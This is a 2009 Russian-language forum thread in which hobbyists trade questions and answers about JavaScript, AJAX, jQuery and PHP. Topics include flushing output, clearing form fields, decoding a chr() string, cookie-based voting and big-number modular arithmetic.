ob_implicit_flush ();
echo '<div id=do></div>';
echo '<script>function d(str){document.getElementById("do").innerHTML = str;}</script>';

ob_flush ();
flush ();
for($i=0;$i<1000;$i++) {
echo "<script>d(" . $i . ");</script>";
ob_flush ();
flush ();
}

d_x
25.09.2009, 17:10
Это требуется именно с серверной стороны вывод реализовать, с помощью PHP? То что ты привел - в некоторой степени треш, и легче такое сделать с помощью ajax тогда уж.
А если PHP не требуется задействовать, то и вовсе локально JavaScript'ом.

Krist_ALL
25.09.2009, 17:21
пхп будет отдавать числа. например 1 ,5, 5555 и они должны появлятся на месте пердыдкшего

FireFenix
26.09.2009, 00:01
думаю оно должно работать так

<?php

echo '<script>
function show(count, del)
{
document.getElementById("show").innerHTML = count;
}
</script>';

echo '<body>';

echo '<div id="show">1</div>';

for($i = 0; $i < 1000; $i++)
{
ob_start();

echo '<script>show(' . $i . ');</script>';

ob_flush ();
flush ();
ob_end_flush();

usleep(5000); //типа скорость показа
}

?>


но остаётся проблема во флуде
<script>show(1);</script>

Linuxoid
28.09.2009, 05:54
Долго думал в какую тему задать вопрос, решил сюда.
Есть замечательный сервис dot.tk, который щедро раздает домены 2 уровня .tk на халяву. Но грузится это все дело в фрейме.
Ситуация: Домен example.com использует сервис dot.tk и имеет там домен example.tk. После ввода в браузере example.tk попадаем на example.com, но как бы мы не перемещались по сайту, все будет происходить внутри фрейма. То есть в адресной строке браузера так и будет http://example.tk/, даже если мы перейдем на http://example.com/?n=1 внутри фрейма.
Необходимо сделать, что бы сайт сразу после загрузки "вылазил" из фрейма и в том же окне открывался по реальному адресу. То есть вводим в браузере example.tk и нас тут же перекидывает на http://example.com/. Долго думал как реализовать, поступило предложение по поводу js. Сам я в нем вообще не разбираюсь, только вот планирую начать изучать.
Какие будут предложения? Как реализовать?
З.Ы. Вроде все правильно написал как необходимо сделать. Если что-то напутал - извините, без малого 2 суток не спал. :)

aqqa
28.09.2009, 14:09
Работаю с JQUERY , подскажите как можно получить текст в каждой ячейке в определенной строке

Есть таблица
Выделяю строку,как получить данные в ячейках этой сторки?
$("#row2").text(); выводит строкой то что в ячейках,но это не подходит так как невозможно этими данными потом пользоваться

$("#row2").html(); Выводит хтмл код строки со всеми данными,но тут парсер типо как нужаен,а не оч т хотся его писать....

boooch
28.09.2009, 15:08
Я походу суда запостил.....как можно при наведение на рисунок, он менялся на другой рисунок из каталога.....

m0Hze
28.09.2009, 15:22
Добавить парамерт:
http://www.lghost.ru/docs/java/java3.html

astrologer
28.09.2009, 17:52
http://www.lghost.ru/docs/java/java3.html Не читайте это. Похоже, эти Джо Бернс и Эндри Грауни совсем не в теме.

m0Hze
29.09.2009, 19:58
Привет знатоки J-Query!
Собственно,есть код(мои потуги на яве),так вот его,нужно реализовать с помощью J-Query.Строчек тут немного,с учетом моег оговнокода(ибо это действительно 1 раз на Яс-е),в j-Query будет еще меньше я так думаю.
Сразу скажу,что работает это,через хитровы*баную жопу,но работает.отелось бы более красиво реализовать.Спасибо.
(Можно,и без помощи J-Query, но это будет только в целях моего самобразования,неободим именно вариант
с J-Query)
/*add
кое что в этом коде - несрабатывает,а именно
повторный вызов makeRequest(page); эу проблему тоже нужно решить
*/

Собственно вот сам код:

<script type="text/javascript" language="javascript">
function makeRequest(page) {
var http_request = false;
if (window.XMLHttpRequest) { // Mozilla, Safari, ...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
http_request.overrideMimeType('text/xml');
// Читайте ниже об этой строке
}
} else if (window.ActiveXObject) { // IE
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
if (!http_request) {
alert('Не вышло :( Невозможно создать экземпляр класса XMLHTTP ');
return false;
}
q = encodeURIComponent(document.getElementById("input").value);
if(q != ''){
document.getElementById('loading').style.display=' block';
http_request.onreadystatechange = function() { alertContents(http_request); };
http_request.open('GET',"search.php?q="+q+"&page="+page, true);
http_request.send(null);
}else{
var divBody = document.getElementById('content');
divBody.innerHTML = 'Вы не ввели строку запроса';
}
}
function alertContents(http_request) {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
document.getElementById('loading').style.display=' none';
var divBody = document.getElementById('content');
divBody.innerHTML = http_request.responseText;
} else {
alert('Problem');
}
}
}
</script>

mff
30.09.2009, 02:50
Подскажите, есть строка function player_wmp(url, wh, he){
document.write('<object id="mediaplayer" width="'+wh+'" height="'+he+'" ...нужно к переменной he прибавлить 60, пробывал писать:function player_wmp(url, wh, he){
he=(he+60);них не вышло :mad: :confused:

FeraS
30.09.2009, 03:07
mff
document.write('<object id="mediaplayer" width="'+wh+'" height="'+he+60+'"
так вроде надо

mff
30.09.2009, 16:57
Есть код:Голсовать:
<a href="#nul" onclick="process('yes')" title="yes"><img id="yes" src="img/yes.gif" width="19" height="19" alt="Да" align="absmiddle" style="margin-right:10px;" /></a> <a href="#nul" onclick="process('no')" title="no"><img id="no" src="img/no.gif" width="19" height="19" alt="Нет" align="absmiddle" /></a> и в шапке:<script language="javascript">
<!--
function getXmlHttp(){
var xmlhttp;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (E) {
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
xmlhttp = new XMLHttpRequest();
}
return xmlhttp;
}
var x="";
function process(x) {
var xmlhttp = getXmlHttp()
xmlhttp.open("GET", "/rating.php?ch=<?php echo $ch; ?>&name=" + x, true);
xmlhttp.send(null);
if(xmlhttp.status == 200) {
alert(xmlhttp.responseText);
}
}
//-->
</script> обработчик:<?php
include("config.php");
if($ch){
if($_GET[name]=="yes"){
$result = mysql_query ("UPDATE `bd` SET `rating`= (rating+1) WHERE `id`='$ch'");
}
if($_GET[name]=="no"){
$result = mysql_query ("UPDATE `bd` SET `rating`= (rating-1) WHERE `id`='$ch'");
}
}
?>Как мне теперь возвратить новое получившееся число без перезагрузки странички?
Спасибо!

m0Hze
01.10.2009, 00:09
Чтото вроде:

var divBody = document.getElementById('rating');// div с раейтингом
divBody.innerHTML = divBody+1;

Наверно...)

mff
01.10.2009, 04:04
m0Hze не, нужно из php обработчика вернуть новое значение

m0Hze
01.10.2009, 06:54
Ну тогда делай селект,после UPDATE,выводи на экран,и аяксом это выведи на экран =)

mff
01.10.2009, 13:17
Ну тогда делай селект,после UPDATE,выводи на экран,и аяксом это выведи на экран =)Вот я и спрашиваю, селект то сделаю, а как аяксом вывести на экран ? =)

И еще вопросик, есть строка: <script language="javascript">player_w("http://stream2.qc.ca/enOndes_bas_debit", "240", "249");</script>

можно с ней чтонибудь сделать от дурака? Ну чтобы ни так просто было скопировать ссылку? :)

Спасибо!

m0Hze
01.10.2009, 13:24
функцию.Аля\

player_w("stream2.qc.ca","base64encode(enOndes_bas_debit)","md5(rand())");

Пример с элементами php, но я думаю суть понятна.
Ну и естевственно в функции уже будет:

function player_w(server,path,durak)
{
var full = 'http://'+server+path;
}

В яве я шарю не очень,и не совсем знаю как там обстоит деко с конкатенацией строк,но это можеш сам глянуть где нибудь :)

mff
03.10.2009, 02:05
Эх, спасибо дружище, но мало чего понятно.

Подскажите, есть текстовое поле, там тексты с пробелами вставляются, нужно сделать так, чтобы при потере фокуса пробелы вырезались яваскриптом. Как правильно сделать?

FireFenix
03.10.2009, 12:48
string.replace(" ", "") ?

mff
03.10.2009, 16:55
string.replace(" ", "") ?блин пишу <input type="text" name="w" onfocus="javascript: this.value.replace(' ', '');" class="text" /> и не рабоатает :confused:

И еще, как отследить, что поле потеряло фокус? :confused:

remb0
03.10.2009, 17:15
как раскодировать и какой прогой вот такую штуку : chr(64)+chr(83)+chr(69)+chr(84)+chr(32)+chr(76)+ch r(78)+chr(69)+chr(84)+chr(87)+chr(79)+chr(82)+chr( 75)+chr(61)+chr(34)+chr(143)+chr(174)+chr(164)+chr (170)+chr(171)+chr(238)+chr(231)+chr(165)+chr(173) +chr(168)+chr(165)+chr(32)+chr(175)+chr(174)+chr(3 2)+chr(171)+chr(174)+chr(170)+chr(160)+chr(171)+ch r(236)+chr(173)+chr(174)+chr(169)+chr(32)+chr(225) +chr(165)+chr(226)+chr(168)+chr(34)

superboy4
03.10.2009, 17:22
Есть форма, на которой пользователь выбирает страну, затем через событие onchange в эту форму аяксом подаётся ещё одно поле (выберите город). НО! В исходном коде страницы я не виже теги поля ввода (вроде <select><option</option>... Всё что я вижу, так это тег <p id="cities"></p> И он пуст, хотя на странице появилось второе поле!!!
В чём же проблема???? Я работаю с Rails, и я предполагаю что при сабмите формы контроллер не получит значение поля города!!!!

m0Hze
03.10.2009, 17:27
Есть форма, на которой пользователь выбирает страну, затем через событие onchange в эту форму аяксом подаётся ещё одно поле (выберите город). НО! В исходном коде страницы я не виже теги поля ввода (вроде <select><option</option>... Всё что я вижу, так это тег <p id="cities"></p> И он пуст, хотя на странице появилось второе поле!!!
В чём же проблема???? Я работаю с Rails, и я предполагаю что при сабмите формы контроллер не получит значение поля города!!!!
Это javaScript.А ты знаеш в чом соль %username%??.

superboy4
03.10.2009, 17:30
Это javaScript.А ты знаеш в чом соль %username%??.


И если ты считаешь что возвращается Яваскрипт?
Возвращается ведь html код! наверное. хм но его в тексте нету.

Можно ли теперь в контролёре получить значение добавленного аяксом поля???
to rembo
попробую вручную раскодировать, там не много.

superboy4
04.10.2009, 08:19
ребят, помогите мне, пожалуйста, мне нужно чтобы в коде страницы появился код поля, ведь если его не будет, то контроллёр не получит значения этого поля. Или я ошибаюсь...

altblitz
04.10.2009, 11:54
как раскодировать и какой прогой вот такую штуку : chr(64)+chr(83)...
с JS будет удобнее и проще.
быстрее и правильнее - натравить RegEx на комбинацию chr(хх).

прог таких не знаю. пишется и проверяется на коленке в 3 минуты.

astrologer
04.10.2009, 12:58
mff, тогда ужonblur="this.value = this.value.replace(/\s+/g, '')"
remb0,
быстрее:<script>

var chr = String.fromCharCode;

alert
(
chr(64)+chr(83)+chr(69)+chr(84)+chr(32)
+chr(76)+chr(78)+chr(69)+chr(84)+chr(87)
+chr(79)+chr(82)+chr(75)+chr(61)+chr(34)
+chr(143)+chr(174)+chr(164)+chr(170)+chr(171)
+chr(238)+chr(231)+chr(165)+chr(173)+chr(168)
+chr(165)+chr(32)+chr(175)+chr(174)+chr(32)
+chr(171)+chr(174)+chr(170)+chr(160)+chr(171)
+chr(236)+chr(173)+chr(174)+chr(169)+chr(32)
+chr(225)+chr(165)+chr(226)+chr(168)+chr(34)
);

</script>правильнее:<script>

alert(String.fromCharCode.apply(null, [
64, 83, 69, 84, 32, 76, 78, 69, 84,
87, 79, 82, 75, 61, 34, 143, 174, 164,
170, 171, 238, 231, 165, 173, 168, 165, 32,
175, 174, 32, 171, 174, 170, 160, 171, 236,
173, 174, 169, 32, 225, 165, 226, 168, 34
]));

</script>

superboy4, поле должно появиться в dom-дереве, не более того.

altblitz
04.10.2009, 15:20
astrologer прав.

не усложняйте. и как же /me забыл про самое простое, про alert() ?

m0Hze
04.10.2009, 19:24
<input type="text" value="Поисг" onClick"очистить_кагбе()">

Нужно чтобе при клике в поле,очищалось оно самое.Так вот какую ф-цию использовать.

altblitz
04.10.2009, 19:35
<input type="text" value="Поисг" onClick"очистить_кагбе()">

Нужно чтобе при клике в поле,очищалось оно самое.Так вот какую ф-цию использовать.
дать полю уник ID, и onClick ID.value=""

http://www.htmlcodetutorial.com/forms/_INPUT_onClick.html

FireFenix
05.10.2009, 00:48
<input name="text" type="text" value="Поисг" onClick="this.value=''">
наверное как бы таг

Flcn
06.10.2009, 11:41
<input name="text" type="text" value="Поисг" onClick="this.value=''">
а разве можно в онклик напрямую действие? я
думаю что надо ... onClick="javascript:this.value=''">

krypt3r
06.10.2009, 12:22
javascript: можно опускать

Flcn
07.10.2009, 14:48
krypt3r
разве?
у меня firebug ругается на "return false"

astrologer
07.10.2009, 17:48
krypt3r, Flcn
http://forum.htmlbook.ru/index.php?showtopic=7706

0ldbi4
11.10.2009, 12:40
Доброго времени суток. Неподскажите ли алгоритм прощета данного примера:
A=G^m mod P;многие поняли это процесс шифрования в RSA, DSA и подобных.


Проблемма длина чисел в процессе, даже extanded помоему 64 символа, а в шифровании количество обычно не менее ~200 и сильно более.

Для справки X^m mod N = X^a mod N * X^b mod N * X^c mod N.


Заранее спасибо за информацию.

P.S. JAVA Плохо знаю

astrologer
11.10.2009, 16:24
0ldbi4, существуют следующие варианты:

Воспользоваться готовой библиотекой для работы с большими числами. Мне известны три работающих реализации: http://ohdave.com/rsa/, http://www.leemon.com/crypto/BigInt.html, http://www-cs-students.stanford.edu/~tjw/jsbn/. Последняя предпочтительнее.
Код во всех случаях не очень хороший, много глобальных переменных, C-стиль и т. п.

Изучить язык и написать собственный код с помощью Handbook of Applied Cryptography (http://www.cacr.math.uwaterloo.ca/hac/).

mff
11.10.2009, 18:45
astrologer, помоги плиз!
У меня скрипт голововалки самый простой написал сам, без перезагрузки страницы. Когда на ссылку жмеш, там ссылка href="#nul"
Как сделать так, чтобы при нажатии на кнопку браузера назад кидало на страничку куда надо, а то если понажимать на кнопку голосовалки, браузер запоминает.. Вот в общем обяснил с Богом пополам =)))


Хелп!!! :(

m0nsieur
12.10.2009, 10:32
а ты данном случае якорь используешь href="#nul" или это в никуда?
Если в никуда то стоит написать href="javascript:void(0);".

SultanOFF
12.10.2009, 20:26
Здравствуйте. Как сделать при помощи js так чтобы при нажатии на кнопку открылась картинка, только с одним нюансом:
1) чел вводит номер в текстовое поле
2) js считывает этот номер и выводит картинку с таким адресом:
sait.com/lala/NM.jpg
где NM номер, который js считала с текстового поля. Помогите пожалуйста :(

heretic1990
12.10.2009, 21:39
Здравствуйте. Как сделать при помощи js так чтобы при нажатии на кнопку открылась картинка, только с одним нюансом:
1) чел вводит номер в текстовое поле
2) js считывает этот номер и выводит картинку с таким адресом:
sait.com/lala/NM.jpg
где NM номер, который js считала с текстового поля. Помогите пожалуйста :(
думаю без PHP не обойтись!

SultanOFF
12.10.2009, 22:27
однако можно, вот код на форуме программеров дали, работает на ура:)
<div id="img_block" style="display: none;">
<img src="" alt="" id="img" />
</div>

<script type="text/javascript">
function imgOpen (n)
{
document.getElementById ("img").src = "http://sait.com/lala/" + n.toString() + ".jpg";
document.getElementById ("img_block").style.display = "block";
}
</script>

<br />
<input type="text" id="img_n" />
<input type="button" onclick="imgOpen(document.getElementById ('img_n').value);" value="Load" />

0ldbi4
13.10.2009, 18:45
2 astrologer можно не делай полных операций возведения в степень и mod промежуточно считать, вот я не как не могу представить как??

j0ker13
14.10.2009, 17:47
есть страничка

<form method="POST" action="111.php" name="12" id="login" onsubmit="login();">
<input type="text" name="user">
<input type="text" name="pass">
<button onclick="login1();" id="s_button" title="login">LOGIN</button>


ниже скрипт

$("document").ready(function(){
$("#login").submit(function(){
alert("submit");
return false;
})
$("#login1").submit(function(){
alert("click");
return false;
})
})

в итоге скрипты login1(); и login(); выполняются. как нить можно их игнорировать?
return false не помогает видимо потому что приоритет onclick="login1();" и onsubmit="login();" выше привязки jQuery

spamoney
15.10.2009, 16:17
Добрый вечер, помогите решить следующую проблему, почему-то при выполнении Ajax запроса не выполняется JavaScript:

Код:
var req;

function navigate(month,year) {
var url = "calendar.php?month="+month+"&year="+year;
if(window.XMLHttpRequest) {
req = new XMLHttpRequest();
} else if(window.ActiveXObject) {
req = new ActiveXObject("Microsoft.XMLHTTP");
}
req.open("GET", url, true);
req.onreadystatechange = callback;
req.send(null);
}

function callback() {
obj = document.getElementById("calendar");
setFade(0);

if(req.readyState == 4) {
if(req.status == 200) {
response = req.responseText;
obj.innerHTML = response;
fade(0);
} else {
alert("There was a problem retrieving the data:\n" + req.statusText);
}
}
}

function fade(amt) {
if(amt <= 100) {
setFade(amt);
amt += 10;
setTimeout("fade("+amt+")", 5);
}
}

function setFade(amt) {
obj = document.getElementById("calendar");

amt = (amt == 100)?99.999:amt;

// IE
obj.style.filter = "alpha(opacity:"+amt+")";

// Safari<1.2, Konqueror
obj.style.KHTMLOpacity = amt/100;

// Mozilla and Firefox
obj.style.MozOpacity = amt/100;

// Safari 1.2, newer Firefox and Mozilla, CSS3
obj.style.opacity = amt/100;
}

Скрипт calendar.php должен возвращать календарь + Выполнить JavaScript, т.е допустим:

echo "Здесь Календарь";
echo "<script type='text/javascript'>a = 'alert(1)';eval(a);</script>";

Но календарь выводится нормально а вот JavaScript исполняться не хочет...

Пробывал сам разобраться, вот похожая проблема: http://xpoint.ru/forums/programming/javascript/misc/thread/39198.xhtml , но я ничего в этом не понимаю

KaZ@NoVa
15.10.2009, 19:32
Доброго времени суток. Неподскажите ли алгоритм прощета данного примера:
A=G^m mod P;многие поняли это процесс шифрования в RSA, DSA и подобных.


Проблемма длина чисел в процессе, даже extanded помоему 64 символа, а в шифровании количество обычно не менее ~200 и сильно более.

Для справки X^m mod N = X^a mod N * X^b mod N * X^c mod N.


Заранее спасибо за информацию.

P.S. JAVA Плохо знаю


>A=G^m mod P;
А нафига тут extеnded ? Тут надо что-нибудь целочисленное - быстрее работать будет. Насколько помню, в Java нету "больших" целых чисел - т.е. стандартные и не длиннее 40 символов.

Выхода вижу 2:
1) в лоб. Реализовать (скачать) на Java алгоритмы длинной арифметики (хранить данные либо в массиве, либо в строке) и тупо выполнить действие.
2) математически. Попытаться математически упростить данную формулу, чтоб ушло возведение в степень.

Советую погуглить для начала "RSA, DSA" на русском - мб где статья была, или готовый исходник. Дальше можно скачать готовую реализацию DSA (например, в linux все проги open-source). Ну или гугли длинную арифметику

0ldbi4
15.10.2009, 22:48
Искал уже.......


В первую очередь Гугль потом уже на ачат, вот я пытаюсь пойти вторым способом и никак не могу дописать алгоритм.


Ладно пойду ипать мозг учителю...

m0Hze
16.10.2009, 21:34
Имеем кодъ:

<script type="text/javascript">
$(document).ready(function(){
$('#search').click(function(){
$.get("mp3.php",{q:$('#q')},function(data){
$('#content').html(data);
} );
});
});

</script>

Нужно,чтобы во время загрузки аяксом данных,окно темнело,и показывало надпись "загрузка",как это сделано во вногих проэкта с использованием аякся.Собственно вот,если ктото может помоч,хотябы ссылцой на статью - буду благодарен.

Mixon
17.10.2009, 00:58
Возникла проблема не сколько с жабаскриптом а сколько с оперой!
Вопщем проблема такова,когда вставляю скрипт на страницу как таково,то он работает,но если ставлю В ОПЕРЕ использовать для данного сайта скрипт (F12 --> Настройки для сайта... --> Скрипты),то не работает!!!
Что это за ерунда?

m0Hze
17.10.2009, 12:24
Можно ли в jQuery, обозначать пользовательские функции вообще?)
Ну тобиш как на чистом яс:

function main(1,2...){}
?

diGriz
17.10.2009, 12:29
Можно ли в jQuery, обозначать пользовательские функции вообще?)
Ну тобиш как на чистом яс:

function main(1,2...){}
?

Ты имеешь ввиду что-то типо этого?

function setRate(id, operation) {
$.ajax({
type: "POST",
url: "rates.php",
data: "id=" + id + "&operation=" + operation,
success: function(html){
$("#rating" + id).html(html);
}
});
}

m0Hze
17.10.2009, 12:30
Можно ли в jQuery, обозначать пользовательские функции вообще?)
Ну тобиш как на чистом яс:

function main(1,2...){}
?
Вопрос решен,он был глупый :)

MOSYA
17.10.2009, 15:00
всем здрасти :).. нужен скрипт (ява скрипт) который делает следующее просто подключается к базе (mysql к примеру) и считывает информацию с полей.

Если есть у кого-то пример).. буду рад)..

Всем спасибо за внимание.

Flcn
17.10.2009, 20:03
m0Hze
Дак ну во время любого Ajax запроса у объекта XMLHttpRequest есть свойство readyState.. и оно соответствует
0 Запрос не инициализирован
1 Запрос создан
2 Запрос послан
3 Запрос обрабатывается (тут и просиходит получение)
4 Запрос завершен

так что когда оно становится 2м (ну или 3м), делай со стрнаницей чо хочешь. .а когда 4м тогда всё выводи как надо..

restart_05
18.10.2009, 11:41
В чем ошибка ??
function vote( id, act ) {
dle_vote = readCookie('cookie');
if ( dle_vote = 'vote-'+id ) {
alert ("Вы уже голосовали");
} else {
var ajax = new dle_ajax();
ajax.onShow ('');
var varsString = "";
ajax.setVar("id", id );
ajax.setVar("act", act );
ajax.requestFile = "engine/ajax/vote.php";
ajax.method = 'GET';
ajax.element = 'serv'+id+'-layer';
ajax.sendAJAX(varsString);
setCookie('vote-'+id);
}
}
используется dle_ajax.js, jquery.cookie.js, jquery-ui.min.js

m0Hze
18.10.2009, 11:46
dle_vote = readCookie('cookie'); -> зоменяем на -> dle_vote = readCookie('vote-'+id);
Я думаю так.

restart_05
18.10.2009, 11:49
Нет она создает куки для cookie а dle_vote читает ее

m0Hze
18.10.2009, 11:57
setCookie('vote-'+id);
так с чем же ты сравниваеш?

restart_05
18.10.2009, 12:02
function createCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}

function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}

function setCookie(name){
var options = { path: '/', expires: 60 };
createCookie('cookie', name, options);
window.location.reload();
}

m0Hze
18.10.2009, 12:10
function createCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}

function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}

function setCookie(name){
var options = { path: '/', expires: 60 };
createCookie('cookie', name, options);
window.location.reload();
}

Понел.Хз тогда :)

restart_05
18.10.2009, 12:11
Она все время выдает alert ("Вы уже голосовали"); вот в чем ошибка

Flcn
18.10.2009, 16:59
а использовать отладчики религия не позволяет???

Boogie
19.10.2009, 17:08
ребят, помогите найти java-скрипт проверки вводимого пароля (ajax)

FeraS
19.10.2009, 17:41
Boogie
Клац (http://aeweb.ru/javascripts/txt_js/1027-skript-poverki-zashhishhennosti-parolja.html)

_gr34t
24.10.2009, 10:02
Всем привет!
Может кто-нибудь поделиться функцией base64_encode на javascript.
В гугле нашёл, но там скрипты кодируют только строки, содержащие символы латиницы, т.е. кириллицу не могут шифрануть. Есть ли у кого-нибудь функция, чтобы и русские буквы кодировала?

И есть аналогичная функция (с поддержкой кириллицы) md5?

geforse
24.10.2009, 10:04
Как можно сделать такое:
Есть форма, вверху список слов, нажимаем на слово и оно появляется в форме (без перезагрузки страницы) ?

Подскажите пожалуйста...

_gr34t
24.10.2009, 11:14
geforse, например так, если я правильно понял что тебе нужно:

<form>
<select onChange="document.getElementById('input1').innerText = this.value;">
<option value='slovo1'>Slovo1
<option value='slovo2'>Slovo2
<option value='slovo3'>Slovo3
</select>
<input type='text' id='input1' value=''>
<input type='Submit' value='Отправить'>
</form>

geforse
24.10.2009, 12:42
_gr34t, не совсем то ... вот внизу этой темы есть форма для быстрого ответа и кнопки http://pic.ipicture.ru/uploads/091024/SHua7qNL82.png, после нажатия на которые в форме появляются BB-коды

Вот мне тоже самое и надо, нажимаем на слово на странице и оно отображается в форме...

FireFenix
24.10.2009, 12:58
_gr34t, не совсем то ... вот внизу этой темы есть форма для быстрого ответа и кнопки http://pic.ipicture.ru/uploads/091024/SHua7qNL82.png, после нажатия на которые в форме появляются BB-коды

Вот мне тоже самое и надо, нажимаем на слово на странице и оно отображается в форме...
Ну что за лень... Взял бы и посмотрел исходники :)

<script>
function add_text(id, text)
{
var elem = document.getElementById(id);
elem.value += text;
}

function add_fixed_text(id, id_text)
{
var elem = document.getElementById(id);
var text;

switch(id_text)
{
case 0:
text = ':)'
break;

case 1:
text = ':P'
break;

default:
text = ':D'
break;
}

elem.value += text;
}
</script>

<textarea id="ta_Text">абабаба 3 рубля</textarea>
<br>
<a href="javascript:add_text('ta_Text', 'Новый текст')">Добавить текст 1</a>
<br>
<a href="javascript:add_fixed_text('ta_Text', 0)">Добавить определённый текст 2</a>
<br>
<a href="javascript:add_fixed_text('ta_Text', 1)">Добавить определённый текст 3</a>
<br>
<a href="javascript:add_fixed_text('ta_Text', 9)">Добавить определённый текст 4</a>

admink1
26.10.2009, 01:15
как сделать при открытии страницы, чтобы автоматически открывалась еще одна страница target blank, на выходе имеем два окна
спасибо

_gr34t
26.10.2009, 12:01
admink1, javascript:window.open();

AlSpawn
28.10.2009, 19:45
скажите пожалуйста, как сделать Ajax голосование на Simple Quotes Engine v1.3 ?

>>пример движка<< (http://devils-curse.org.ru/)

Flame of Soul
30.10.2009, 02:18
Ребят подскажите кодом, как организовать на JS чтобы высота таблицы увеличивалась каждую секунду на 1, а при достижении высоты в 400 пикселей останавливалась. Начальная высота таблицы при этом может быть любая.

За помощь отблагодарю плюсиками.

Pashkela
30.10.2009, 02:54
скажите пожалуйста, как сделать Ajax голосование на Simple Quotes Engine v1.3 ?

>>пример движка<< (http://devils-curse.org.ru/)

Есть такой рассказик у Р. Шекли (царство ему небесное) "Верный вопрос", там был Ответчик, знал ответы на всё, но то существо фантастическое (или прибор), но ты для начала попробуй выложить максимум информации по своему вопросу, или, если ты не понимаешь даже, что тебе советуют, достичь того уровня, чтобы задать вопрос так, чтобы как ув. Шарки сразу тебе не сказать "только за деньги" - без обид и личной неприязни.

PS: На текущий момент твой вопрос равносилен "В чем смысл жизни", имхо

Дикс
31.10.2009, 10:53
что это за оператор?

var t3 = t1 | t2;

пишут что побитовый, но непонятно как он работает

если я знаю x и y, как мне получить x | y ? (на бумаге)

Vlad&slav
31.10.2009, 13:51
Как мне сделать на адJaxe чтобы когда работал мой скрипт во время цикла менялась страница но не обновляласть. Помогите плз я в ajax 0

<?php if (isset($_POST['start'])) { $file = file('world.txt'); $count = count($file); for ($i=0;$i<=$count; $i++) { echo "$file[$i] \n"; slep(10); $procent = ($i/$count)*100 } } ?> <form id="form1" name="form1" method="post" action=""> <input name="start" type="submit" id="start" value="Подтвердить" /> </form> <p>&nbsp;</p> <table width="100%" border="1" cellpadding="0" cellspacing="0"> <tr> <td width="100%"><table width="100%" height="5" border="0" cellpadding="0" cellspacing="0"> <tr> <td width="<?php echo $procent; ?>%" bgcolor="#CCCCCC">&nbsp;</td> <td>&nbsp;</td> </tr> </table></td> <td width="50px"><input name="text" type="text" style="width:50px; height:100%" value="<?php echo $i; ?>" /></td> </tr> </table>

emmy
31.10.2009, 14:29
что это за оператор?

var t3 = t1 | t2;

пишут что побитовый, но непонятно как он работает

если я знаю x и y, как мне получить x | y ? (на бумаге) Перевести оба числа в двоичную систему счисления. Дописать к меньшему из них нули слева, чтобы они стали одинаковой длины. К каждому биту применить операцию "нестрогое или" (хотя бы один бит равен единице):

| 100100100100010
000010001000010
= 100110101100010
Разве это не азы?



Ребят подскажите кодом, как организовать на JS чтобы высота таблицы увеличивалась каждую секунду на 1, а при достижении высоты в 400 пикселей останавливалась. Начальная высота таблицы при этом может быть любая.

За помощь отблагодарю плюсиками.
<!doctype html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Growing table (to Flame of Soul @ antichat/coding/js)</title>
<script>

onload = function()
{
var
period = 1000, // ms
limit = 400, // px

table = document.getElementsByTagName('table')[0],
style = null,
height,
interval;


if (window.getComputedStyle)
style = getComputedStyle(table, null);

else if ('currentStyle' in table)
style = table.currentStyle;

else
return false;


height = parseInt(style.height, 10);


interval = setInterval(function()
{

if(height < limit)
table.style.height = ++height + 'px';

else
clearInterval(interval);

status = height;

}, period);


};

</script>
<style>

table
{
height: 350px;
width: 400px;
border: 1px solid black;
text-align: center;
}

</style>
</head>
<body>
<table>
<tr>
<td>Text</td>
</tr>
</table>
</body>
</html>

cyanoвый
31.10.2009, 18:10
что это за оператор?

var t3 = t1 | t2;

пишут что побитовый, но непонятно как он работает

если я знаю x и y, как мне получить x | y ? (на бумаге)
google: логическое и, логическое и

emmy
31.10.2009, 18:23
google: логическое и, логическое и неа, логические операторы другие
&& - и
|| - или

Дикс
31.10.2009, 19:41
Разве это не азы?
азы знал про такое сложение битов, сам руками считал.
но не научили тому, как это представлено в языках программирования.

qW1zer
31.10.2009, 21:00
В общем не буду ничего особенного расписывать,нужно только одно!
Помогите найти,функции классы и прочее для создания ajax окна,к примеру как тут:
http://www.apofig.ru/index.php?ind=monitor
При нажатии на название сервера вся область сайта темнеет,а по середине окно с информацией.
Помогите пожалуйста,сам не силен в этих областях и гугл мало чем помог,в общем заранее премного благодарен...

[K4t]
01.11.2009, 12:24
Здравствуйте. нужно чтобы функция выводила responseText. Но выходить undefined...

function Go(url) {
var xhr = getXMLHttp();
xhr.open('GET', url, true);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if (xhr.status == 200) {
return xhr.responseText;
}
}
}
xhr.send(null);
}

И вызов такой:

alert(Go("http://localhost/"););

помогите, а )

FireFenix
01.11.2009, 15:34
function Inint_AJAX()
{
try { return new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {} //IE
try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {} //IE
try { return new XMLHttpRequest(); } catch(e) {} //Native Javascript
alert("XMLHttpRequest not supported");
return null;
}

function go(url)
{
var req = Inint_AJAX();

req.onreadystatechange = function ()
{
if (req.readyState == 4)
{
if (req.status == 200)
{
return text = req.responseText.toString();
}
}
};

req.open('GET', '?url=' + url, true);
req.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;charset=cp1251');
req.send(null);
}

